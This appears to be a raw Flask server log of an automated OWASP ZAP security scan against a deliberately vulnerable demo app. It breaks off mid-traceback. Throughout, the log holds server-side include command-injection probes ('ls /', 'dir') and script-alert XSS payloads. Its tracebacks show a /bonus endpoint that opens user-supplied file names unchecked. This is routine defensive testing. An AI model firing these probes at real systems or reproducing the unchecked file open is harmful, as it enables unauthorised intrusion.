172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=http%3A%2F%2Fwww.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=www.google.com%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=www.google.com%3A80%2F HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=www.google.com HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=www.google.com%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss5?a=k&name=www.google.com%3A80%2Fsearch%3Fq%3DOWASP%2520ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /?query=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
[2017-10-18 08:05:11,569] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'<!--#EXEC cmd="ls "-->'
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /bonus?name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /?query=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
[2017-10-18 08:05:11,572] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'"><!--#EXEC cmd="ls "--><'
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /bonus?name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /?query=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
[2017-10-18 08:05:11,580] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'<!--#EXEC cmd="dir \\"-->'
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /bonus?name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /?query=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
[2017-10-18 08:05:11,582] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'"><!--#EXEC cmd="dir \\"--><'
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /bonus?name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /robots.txt?query=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /robots.txt?query=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /robots.txt?query=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /mystery?name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /robots.txt?query=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /%3C%21-- HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /mystery?name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /%22%3E%3C%21-- HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /mystery?name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /%3C%21-- HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /mystery?name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /%22%3E%3C%21-- HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /sitemap.xml?query=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /sitemap.xml?query=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /sitemap.xml?query=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /sitemap.xml?query=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:11] "GET /xss1?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=k&name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=k&name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=k&name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=k&name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss2?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss3?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=k&name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=k&name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss4?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=k&name=%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22ls+%2F%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=k&name=%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss5?a=k&name=%22%3E%3C%21--%23EXEC+cmd%3D%22dir+%5C%22--%3E%3C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /?query=0W45pz4p HTTP/1.1" 200 -
[2017-10-18 08:05:12,427] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'0W45pz4p'
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /bonus?name=0W45pz4p HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /?query=query0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /?query=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 200 -
[2017-10-18 08:05:12,434] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html0W45pz4p'
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /bonus?name=xss2.html0W45pz4p HTTP/1.1" 500 -
[2017-10-18 08:05:12,439] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'\'"<script>alert(1);<script>'
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /bonus?name=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /mystery?name=0W45pz4p HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /robots.txt?query=0W45pz4p HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /0W45pz4p HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /mystery?name=http%3A%2F%2Flocalhost%3A50000W45pz4p HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /robots.txt?query=query0W45pz4p HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /robots.txt?query=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /sitemap.xml?query=0W45pz4p HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /sitemap.xml?query=query0W45pz4p HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /sitemap.xml?query=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss1?a=0W45pz4p&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss1?a=k0W45pz4p&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss1?a=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss1?a=k&name=0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:12] "GET /xss1?a=k&name=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=0W45pz4p&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k0W45pz4p&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=0W45pz4p&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k&name=0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k0W45pz4p&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss2?a=k&name=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k&name=0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss3?a=k&name=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=0W45pz4p&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=0W45pz4p&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=k0W45pz4p&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=k0W45pz4p&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=k&name=0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=k&name=Odin0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss4?a=k&name=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=k&name=0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=k&name=Loki0W45pz4p HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /xss5?a=k&name=%27%22%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=%27 HTTP/1.1" 200 -
[2017-10-18 08:05:13,308] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"'"
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=query%27 HTTP/1.1" 200 -
[2017-10-18 08:05:13,315] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html'"
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=xss2.html%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /?query=%22 HTTP/1.1" 200 -
[2017-10-18 08:05:13,322] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'"'
172.17.0.2 - - [18/Oct/2017 08:05:13] "GET /bonus?name=%22 HTTP/1.1" 500 -
[2017-10-18 08:05:13,328] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
